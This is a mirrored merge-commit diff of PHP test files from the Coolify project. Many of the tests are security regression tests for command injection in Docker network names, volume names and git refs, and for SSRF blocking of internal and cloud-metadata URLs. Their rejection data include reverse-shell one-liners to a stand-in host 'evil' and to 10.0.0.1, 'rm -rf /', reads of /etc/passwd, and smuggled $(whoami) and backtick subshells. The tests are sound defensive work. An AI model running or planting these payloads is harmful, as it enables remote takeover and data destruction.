mirror of
https://github.com/tiennm99/coolify.git
synced 2026-08-06 16:24:12 +00:00
Merge remote-tracking branch 'origin/next' into unreachable-server-backoff
This commit is contained in:
@@ -0,0 +1,76 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
|
||||
it('prefers the preview specific docker image tag for preview deployments', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = $reflection->newInstanceWithoutConstructor();
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, 42);
|
||||
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, new Application([
|
||||
'docker_registry_image_tag' => 'latest',
|
||||
]));
|
||||
|
||||
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
|
||||
$previewTagProperty->setAccessible(true);
|
||||
$previewTagProperty->setValue($job, 'pr_42');
|
||||
|
||||
$method = $reflection->getMethod('resolveDockerImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBe('pr_42');
|
||||
});
|
||||
|
||||
it('falls back to the application docker image tag for non preview deployments', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = $reflection->newInstanceWithoutConstructor();
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, 0);
|
||||
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, new Application([
|
||||
'docker_registry_image_tag' => 'stable',
|
||||
]));
|
||||
|
||||
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
|
||||
$previewTagProperty->setAccessible(true);
|
||||
$previewTagProperty->setValue($job, 'pr_42');
|
||||
|
||||
$method = $reflection->getMethod('resolveDockerImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBe('stable');
|
||||
});
|
||||
|
||||
it('falls back to latest when neither preview nor application tags are set', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = $reflection->newInstanceWithoutConstructor();
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, 7);
|
||||
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, new Application([
|
||||
'docker_registry_image_tag' => '',
|
||||
]));
|
||||
|
||||
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
|
||||
$previewTagProperty->setAccessible(true);
|
||||
$previewTagProperty->setValue($job, null);
|
||||
|
||||
$method = $reflection->getMethod('resolveDockerImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBe('latest');
|
||||
});
|
||||
@@ -0,0 +1,48 @@
|
||||
<?php
|
||||
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\SwarmDocker;
|
||||
|
||||
it('StandaloneDocker rejects network names with shell metacharacters', function (string $network) {
|
||||
$model = new StandaloneDocker;
|
||||
$model->network = $network;
|
||||
})->with([
|
||||
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
||||
'pipe injection' => 'net|cat /etc/passwd',
|
||||
'dollar injection' => 'net$(whoami)',
|
||||
'backtick injection' => 'net`id`',
|
||||
'space injection' => 'net work',
|
||||
])->throws(InvalidArgumentException::class);
|
||||
|
||||
it('StandaloneDocker accepts valid network names', function (string $network) {
|
||||
$model = new StandaloneDocker;
|
||||
$model->network = $network;
|
||||
|
||||
expect($model->network)->toBe($network);
|
||||
})->with([
|
||||
'simple' => 'mynetwork',
|
||||
'with hyphen' => 'my-network',
|
||||
'with underscore' => 'my_network',
|
||||
'with dot' => 'my.network',
|
||||
'alphanumeric' => 'network123',
|
||||
]);
|
||||
|
||||
it('SwarmDocker rejects network names with shell metacharacters', function (string $network) {
|
||||
$model = new SwarmDocker;
|
||||
$model->network = $network;
|
||||
})->with([
|
||||
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
||||
'pipe injection' => 'net|cat /etc/passwd',
|
||||
'dollar injection' => 'net$(whoami)',
|
||||
])->throws(InvalidArgumentException::class);
|
||||
|
||||
it('SwarmDocker accepts valid network names', function (string $network) {
|
||||
$model = new SwarmDocker;
|
||||
$model->network = $network;
|
||||
|
||||
expect($model->network)->toBe($network);
|
||||
})->with([
|
||||
'simple' => 'mynetwork',
|
||||
'with hyphen' => 'my-network',
|
||||
'with underscore' => 'my_network',
|
||||
]);
|
||||
@@ -1,12 +1,14 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
|
||||
/**
|
||||
* Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
|
||||
*
|
||||
* Ensures that git_commit_sha and related inputs are validated
|
||||
* to prevent OS command injection via shell metacharacters.
|
||||
*/
|
||||
|
||||
describe('validateGitRef', function () {
|
||||
test('accepts valid hex commit SHAs', function () {
|
||||
expect(validateGitRef('abc123def456'))->toBe('abc123def456');
|
||||
@@ -93,31 +95,31 @@ describe('validateGitRef', function () {
|
||||
describe('executeInDocker git log escaping', function () {
|
||||
test('git log command escapes commit SHA to prevent injection', function () {
|
||||
$maliciousCommit = "HEAD'; id; #";
|
||||
$command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B';
|
||||
$command = 'cd /workdir && git log -1 '.escapeshellarg($maliciousCommit).' --pretty=%B';
|
||||
$result = executeInDocker('test-container', $command);
|
||||
|
||||
// The malicious payload must not be able to break out of quoting
|
||||
expect($result)->not->toContain("id;");
|
||||
expect($result)->not->toContain('id;');
|
||||
expect($result)->toContain("'HEAD'\\''");
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildGitCheckoutCommand escaping', function () {
|
||||
test('checkout command escapes target to prevent injection', function () {
|
||||
$app = new \App\Models\Application;
|
||||
$app->forceFill(['uuid' => 'test-uuid']);
|
||||
$app = new Application;
|
||||
$app->fill(['uuid' => 'test-uuid']);
|
||||
|
||||
$settings = new \App\Models\ApplicationSetting;
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_submodules_enabled = false;
|
||||
$app->setRelation('settings', $settings);
|
||||
|
||||
$method = new \ReflectionMethod($app, 'buildGitCheckoutCommand');
|
||||
$method = new ReflectionMethod($app, 'buildGitCheckoutCommand');
|
||||
|
||||
$result = $method->invoke($app, 'abc123');
|
||||
expect($result)->toContain("git checkout 'abc123'");
|
||||
|
||||
$result = $method->invoke($app, "abc'; id; #");
|
||||
expect($result)->not->toContain("id;");
|
||||
expect($result)->not->toContain('id;');
|
||||
expect($result)->toContain("git checkout 'abc'");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Architecture tests to prevent use of insecure PRNGs in application code.
|
||||
*
|
||||
* mt_rand() and rand() are not cryptographically secure. Use random_int()
|
||||
* or random_bytes() instead for any security-sensitive context.
|
||||
*
|
||||
* @see GHSA-33rh-4c9r-74pf
|
||||
*/
|
||||
arch('app code must not use mt_rand')
|
||||
->expect('App')
|
||||
->not->toUse(['mt_rand', 'mt_srand']);
|
||||
|
||||
arch('app code must not use rand')
|
||||
->expect('App')
|
||||
->not->toUse(['rand', 'srand']);
|
||||
@@ -0,0 +1,76 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\ApplicationPreview;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\CloudProviderToken;
|
||||
use App\Models\Environment;
|
||||
use App\Models\GithubApp;
|
||||
use App\Models\Project;
|
||||
use App\Models\ProjectSetting;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\ScheduledDatabaseBackupExecution;
|
||||
use App\Models\ScheduledTask;
|
||||
use App\Models\ScheduledTaskExecution;
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use App\Models\ServiceDatabase;
|
||||
use App\Models\StandaloneClickhouse;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandaloneDragonfly;
|
||||
use App\Models\StandaloneKeydb;
|
||||
use App\Models\StandaloneMariadb;
|
||||
use App\Models\StandaloneMongodb;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\StandaloneRedis;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\SwarmDocker;
|
||||
use App\Models\Tag;
|
||||
use App\Models\User;
|
||||
|
||||
it('keeps required mass-assignment attributes fillable for internal create flows', function (string $modelClass, array $expectedAttributes) {
|
||||
$model = new $modelClass;
|
||||
|
||||
expect($model->getFillable())->toContain(...$expectedAttributes);
|
||||
})->with([
|
||||
// Relationship/ownership keys
|
||||
[CloudProviderToken::class, ['team_id']],
|
||||
[Tag::class, ['team_id']],
|
||||
[Subscription::class, ['team_id']],
|
||||
[ScheduledTaskExecution::class, ['scheduled_task_id']],
|
||||
[ScheduledDatabaseBackupExecution::class, ['uuid', 'scheduled_database_backup_id']],
|
||||
[ScheduledDatabaseBackup::class, ['uuid', 'team_id']],
|
||||
[ScheduledTask::class, ['uuid', 'team_id', 'application_id', 'service_id']],
|
||||
[ServiceDatabase::class, ['service_id']],
|
||||
[ServiceApplication::class, ['service_id']],
|
||||
[ApplicationDeploymentQueue::class, ['docker_registry_image_tag']],
|
||||
[Project::class, ['team_id', 'uuid']],
|
||||
[Environment::class, ['project_id', 'uuid']],
|
||||
[ProjectSetting::class, ['project_id']],
|
||||
[ApplicationSetting::class, ['application_id']],
|
||||
[ServerSetting::class, ['server_id']],
|
||||
[SwarmDocker::class, ['server_id']],
|
||||
[StandaloneDocker::class, ['server_id']],
|
||||
[User::class, ['pending_email', 'email_change_code', 'email_change_code_expires_at']],
|
||||
[Server::class, ['ip_previous']],
|
||||
[GithubApp::class, ['team_id', 'private_key_id']],
|
||||
|
||||
// Application/Service resource keys (including uuid for clone flows)
|
||||
[Application::class, ['uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'repository_project_id', 'private_key_id']],
|
||||
[ApplicationPreview::class, ['uuid', 'application_id']],
|
||||
[Service::class, ['uuid', 'environment_id', 'server_id', 'destination_id', 'destination_type']],
|
||||
|
||||
// Standalone database resource keys (including uuid for clone flows)
|
||||
[StandalonePostgresql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneMysql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneMariadb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneMongodb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneRedis::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneKeydb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneDragonfly::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
[StandaloneClickhouse::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
|
||||
]);
|
||||
@@ -0,0 +1,98 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Persistent Volume Security Tests
|
||||
*
|
||||
* Tests to ensure persistent volume names are validated against command injection
|
||||
* and that shell commands properly escape volume names.
|
||||
*
|
||||
* Related Advisory: GHSA-mh8x-fppq-cp77
|
||||
* Related Files:
|
||||
* - app/Models/LocalPersistentVolume.php
|
||||
* - app/Support/ValidationPatterns.php
|
||||
* - app/Livewire/Project/Service/Storage.php
|
||||
* - app/Actions/Service/DeleteService.php
|
||||
*/
|
||||
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
// --- Volume Name Pattern Tests ---
|
||||
|
||||
it('accepts valid Docker volume names', function (string $name) {
|
||||
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(1);
|
||||
})->with([
|
||||
'simple name' => 'myvolume',
|
||||
'with hyphens' => 'my-volume',
|
||||
'with underscores' => 'my_volume',
|
||||
'with dots' => 'my.volume',
|
||||
'with uuid prefix' => 'abc123-postgres-data',
|
||||
'numeric start' => '1volume',
|
||||
'complex name' => 'app123-my_service.data-v2',
|
||||
]);
|
||||
|
||||
it('rejects volume names with shell metacharacters', function (string $name) {
|
||||
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
|
||||
})->with([
|
||||
'semicolon injection' => 'vol; rm -rf /',
|
||||
'pipe injection' => 'vol | cat /etc/passwd',
|
||||
'ampersand injection' => 'vol && whoami',
|
||||
'backtick injection' => 'vol`id`',
|
||||
'dollar command substitution' => 'vol$(whoami)',
|
||||
'redirect injection' => 'vol > /tmp/evil',
|
||||
'space in name' => 'my volume',
|
||||
'slash in name' => 'my/volume',
|
||||
'newline injection' => "vol\nwhoami",
|
||||
'starts with hyphen' => '-volume',
|
||||
'starts with dot' => '.volume',
|
||||
]);
|
||||
|
||||
// --- escapeshellarg Defense Tests ---
|
||||
|
||||
it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
|
||||
$command = 'docker volume rm -f '.escapeshellarg($maliciousName);
|
||||
|
||||
// The command should contain the name as a single quoted argument,
|
||||
// preventing shell interpretation of metacharacters
|
||||
expect($command)->not->toContain('; ')
|
||||
->not->toContain('| ')
|
||||
->not->toContain('&& ')
|
||||
->not->toContain('`')
|
||||
->toStartWith('docker volume rm -f ');
|
||||
})->with([
|
||||
'semicolon' => 'vol; rm -rf /',
|
||||
'pipe' => 'vol | cat /etc/passwd',
|
||||
'ampersand' => 'vol && whoami',
|
||||
'backtick' => 'vol`id`',
|
||||
'command substitution' => 'vol$(whoami)',
|
||||
'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
|
||||
]);
|
||||
|
||||
// --- volumeNameRules Tests ---
|
||||
|
||||
it('generates volumeNameRules with correct defaults', function () {
|
||||
$rules = ValidationPatterns::volumeNameRules();
|
||||
|
||||
expect($rules)->toContain('required')
|
||||
->toContain('string')
|
||||
->toContain('max:255')
|
||||
->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
|
||||
});
|
||||
|
||||
it('generates nullable volumeNameRules when not required', function () {
|
||||
$rules = ValidationPatterns::volumeNameRules(required: false);
|
||||
|
||||
expect($rules)->toContain('nullable')
|
||||
->not->toContain('required');
|
||||
});
|
||||
|
||||
it('generates correct volumeNameMessages', function () {
|
||||
$messages = ValidationPatterns::volumeNameMessages();
|
||||
|
||||
expect($messages)->toHaveKey('name.regex');
|
||||
});
|
||||
|
||||
it('generates volumeNameMessages with custom field name', function () {
|
||||
$messages = ValidationPatterns::volumeNameMessages('volume_name');
|
||||
|
||||
expect($messages)->toHaveKey('volume_name.regex');
|
||||
});
|
||||
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
use App\Rules\SafeExternalUrl;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
it('accepts valid public URLs', function () {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validUrls = [
|
||||
'https://api.github.com',
|
||||
'https://github.example.com/api/v3',
|
||||
'https://example.com',
|
||||
'http://example.com',
|
||||
];
|
||||
|
||||
foreach ($validUrls as $url) {
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->passes())->toBeTrue("Expected valid: {$url}");
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects private IPv4 addresses', function (string $url) {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
|
||||
})->with([
|
||||
'loopback' => 'http://127.0.0.1',
|
||||
'loopback with port' => 'http://127.0.0.1:6379',
|
||||
'10.x range' => 'http://10.0.0.1',
|
||||
'172.16.x range' => 'http://172.16.0.1',
|
||||
'192.168.x range' => 'http://192.168.1.1',
|
||||
]);
|
||||
|
||||
it('rejects cloud metadata IP', function () {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://169.254.169.254'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
|
||||
});
|
||||
|
||||
it('rejects localhost and internal hostnames', function (string $url) {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
|
||||
})->with([
|
||||
'localhost' => 'http://localhost',
|
||||
'localhost with port' => 'http://localhost:8080',
|
||||
'zero address' => 'http://0.0.0.0',
|
||||
'.local domain' => 'http://myservice.local',
|
||||
'.internal domain' => 'http://myservice.internal',
|
||||
]);
|
||||
|
||||
it('rejects non-URL strings', function (string $value) {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $value], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
|
||||
})->with([
|
||||
'plain string' => 'not-a-url',
|
||||
'ftp scheme' => 'ftp://example.com',
|
||||
'javascript scheme' => 'javascript:alert(1)',
|
||||
'no scheme' => 'example.com',
|
||||
]);
|
||||
|
||||
it('rejects URLs with IPv6 loopback', function () {
|
||||
$rule = new SafeExternalUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
|
||||
});
|
||||
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
|
||||
use App\Rules\SafeWebhookUrl;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
it('accepts valid public URLs', function () {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validUrls = [
|
||||
'https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXX',
|
||||
'https://discord.com/api/webhooks/123456/abcdef',
|
||||
'https://example.com/webhook',
|
||||
'http://example.com/webhook',
|
||||
];
|
||||
|
||||
foreach ($validUrls as $url) {
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->passes())->toBeTrue("Expected valid: {$url}");
|
||||
}
|
||||
});
|
||||
|
||||
it('accepts private network IPs for self-hosted deployments', function (string $url) {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->passes())->toBeTrue("Expected valid (private IP): {$url}");
|
||||
})->with([
|
||||
'10.x range' => 'http://10.0.0.5/webhook',
|
||||
'172.16.x range' => 'http://172.16.0.1:8080/hook',
|
||||
'192.168.x range' => 'http://192.168.1.50:8080/webhook',
|
||||
]);
|
||||
|
||||
it('rejects loopback addresses', function (string $url) {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
|
||||
})->with([
|
||||
'loopback' => 'http://127.0.0.1',
|
||||
'loopback with port' => 'http://127.0.0.1:6379',
|
||||
'loopback /8 range' => 'http://127.0.0.2',
|
||||
'zero address' => 'http://0.0.0.0',
|
||||
]);
|
||||
|
||||
it('rejects cloud metadata IP', function () {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://169.254.169.254/latest/meta-data/'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
|
||||
});
|
||||
|
||||
it('rejects link-local range', function () {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://169.254.0.1'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: link-local IP');
|
||||
});
|
||||
|
||||
it('rejects localhost and internal hostnames', function (string $url) {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $url], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
|
||||
})->with([
|
||||
'localhost' => 'http://localhost',
|
||||
'localhost with port' => 'http://localhost:8080',
|
||||
'.internal domain' => 'http://myservice.internal',
|
||||
]);
|
||||
|
||||
it('rejects non-http schemes', function (string $value) {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => $value], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
|
||||
})->with([
|
||||
'ftp scheme' => 'ftp://example.com',
|
||||
'javascript scheme' => 'javascript:alert(1)',
|
||||
'file scheme' => 'file:///etc/passwd',
|
||||
'no scheme' => 'example.com',
|
||||
]);
|
||||
|
||||
it('rejects IPv6 loopback', function () {
|
||||
$rule = new SafeWebhookUrl;
|
||||
|
||||
$validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
|
||||
expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
|
||||
});
|
||||
@@ -0,0 +1,77 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\SendWebhookJob;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
it('sends webhook to valid URLs', function () {
|
||||
Http::fake(['*' => Http::response('ok', 200)]);
|
||||
|
||||
$job = new SendWebhookJob(
|
||||
payload: ['event' => 'test'],
|
||||
webhookUrl: 'https://example.com/webhook'
|
||||
);
|
||||
|
||||
$job->handle();
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return $request->url() === 'https://example.com/webhook';
|
||||
});
|
||||
});
|
||||
|
||||
it('blocks webhook to loopback address', function () {
|
||||
Http::fake();
|
||||
Log::shouldReceive('warning')
|
||||
->once()
|
||||
->withArgs(function ($message) {
|
||||
return str_contains($message, 'blocked unsafe webhook URL');
|
||||
});
|
||||
|
||||
$job = new SendWebhookJob(
|
||||
payload: ['event' => 'test'],
|
||||
webhookUrl: 'http://127.0.0.1/admin'
|
||||
);
|
||||
|
||||
$job->handle();
|
||||
|
||||
Http::assertNothingSent();
|
||||
});
|
||||
|
||||
it('blocks webhook to cloud metadata endpoint', function () {
|
||||
Http::fake();
|
||||
Log::shouldReceive('warning')
|
||||
->once()
|
||||
->withArgs(function ($message) {
|
||||
return str_contains($message, 'blocked unsafe webhook URL');
|
||||
});
|
||||
|
||||
$job = new SendWebhookJob(
|
||||
payload: ['event' => 'test'],
|
||||
webhookUrl: 'http://169.254.169.254/latest/meta-data/'
|
||||
);
|
||||
|
||||
$job->handle();
|
||||
|
||||
Http::assertNothingSent();
|
||||
});
|
||||
|
||||
it('blocks webhook to localhost', function () {
|
||||
Http::fake();
|
||||
Log::shouldReceive('warning')
|
||||
->once()
|
||||
->withArgs(function ($message) {
|
||||
return str_contains($message, 'blocked unsafe webhook URL');
|
||||
});
|
||||
|
||||
$job = new SendWebhookJob(
|
||||
payload: ['event' => 'test'],
|
||||
webhookUrl: 'http://localhost/internal-api'
|
||||
);
|
||||
|
||||
$job->handle();
|
||||
|
||||
Http::assertNothingSent();
|
||||
});
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
|
||||
it('includes a uuid in standalone docker bootstrap attributes for the root server path', function () {
|
||||
$server = new Server;
|
||||
$server->id = 0;
|
||||
|
||||
$attributes = $server->defaultStandaloneDockerAttributes(id: 0);
|
||||
|
||||
expect($attributes)
|
||||
->toMatchArray([
|
||||
'id' => 0,
|
||||
'name' => 'coolify',
|
||||
'network' => 'coolify',
|
||||
'server_id' => 0,
|
||||
])
|
||||
->and($attributes['uuid'])->toBeString()
|
||||
->and($attributes['uuid'])->not->toBe('');
|
||||
});
|
||||
@@ -7,22 +7,24 @@
|
||||
* These tests verify the fix for the issue where changing an image in a
|
||||
* docker-compose file would create a new service instead of updating the existing one.
|
||||
*/
|
||||
it('ensures service parser does not include image in firstOrCreate query', function () {
|
||||
it('ensures service parser does not include image in trusted service creation query', function () {
|
||||
// Read the serviceParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that firstOrCreate is called with only name and service_id
|
||||
// and NOT with image parameter in the ServiceApplication presave loop
|
||||
// Check that trusted creation only uses name and service_id
|
||||
// and does not include image in the creation payload
|
||||
expect($parsersFile)
|
||||
->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
|
||||
->not->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
|
||||
->toContain("\$databaseFound = ServiceDatabase::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
|
||||
->toContain("\$applicationFound = ServiceApplication::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
|
||||
->toContain("create([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
|
||||
->not->toContain("create([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
|
||||
});
|
||||
|
||||
it('ensures service parser updates image after finding or creating service', function () {
|
||||
// Read the serviceParser function from parsers.php
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that image update logic exists after firstOrCreate
|
||||
// Check that image update logic exists after the trusted create/find branch
|
||||
expect($parsersFile)
|
||||
->toContain('// Update image if it changed')
|
||||
->toContain('if ($savedService->image !== $image) {')
|
||||
@@ -39,7 +41,8 @@ it('ensures parseDockerComposeFile does not create duplicates on null savedServi
|
||||
// The new code checks for null within the else block and creates only if needed
|
||||
expect($sharedFile)
|
||||
->toContain('if (is_null($savedService)) {')
|
||||
->toContain('$savedService = ServiceDatabase::create([');
|
||||
->toContain('$savedService = ServiceDatabase::create([')
|
||||
->toContain('$savedService = ServiceApplication::create([');
|
||||
});
|
||||
|
||||
it('verifies image update logic is present in parseDockerComposeFile', function () {
|
||||
|
||||
@@ -80,3 +80,53 @@ it('falls back to random name when repo produces empty name', function () {
|
||||
expect(mb_strlen($name))->toBeGreaterThanOrEqual(3)
|
||||
->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
|
||||
});
|
||||
|
||||
it('accepts valid Docker network names', function (string $network) {
|
||||
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue();
|
||||
})->with([
|
||||
'simple name' => 'mynetwork',
|
||||
'with hyphen' => 'my-network',
|
||||
'with underscore' => 'my_network',
|
||||
'with dot' => 'my.network',
|
||||
'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1',
|
||||
'alphanumeric' => 'network123',
|
||||
'starts with number' => '1network',
|
||||
'complex valid' => 'coolify-proxy.net_2',
|
||||
]);
|
||||
|
||||
it('rejects Docker network names with shell metacharacters', function (string $network) {
|
||||
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse();
|
||||
})->with([
|
||||
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
||||
'pipe injection' => 'net|cat /etc/passwd',
|
||||
'dollar injection' => 'net$(whoami)',
|
||||
'backtick injection' => 'net`id`',
|
||||
'ampersand injection' => 'net&rm -rf /',
|
||||
'space' => 'net work',
|
||||
'newline' => "net\nwork",
|
||||
'starts with dot' => '.network',
|
||||
'starts with hyphen' => '-network',
|
||||
'slash' => 'net/work',
|
||||
'backslash' => 'net\\work',
|
||||
'empty string' => '',
|
||||
'single quotes' => "net'work",
|
||||
'double quotes' => 'net"work',
|
||||
'greater than' => 'net>work',
|
||||
'less than' => 'net<work',
|
||||
]);
|
||||
|
||||
it('generates dockerNetworkRules with correct defaults', function () {
|
||||
$rules = ValidationPatterns::dockerNetworkRules();
|
||||
|
||||
expect($rules)->toContain('required')
|
||||
->toContain('string')
|
||||
->toContain('max:255')
|
||||
->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN);
|
||||
});
|
||||
|
||||
it('generates nullable dockerNetworkRules when not required', function () {
|
||||
$rules = ValidationPatterns::dockerNetworkRules(required: false);
|
||||
|
||||
expect($rules)->toContain('nullable')
|
||||
->not->toContain('required');
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user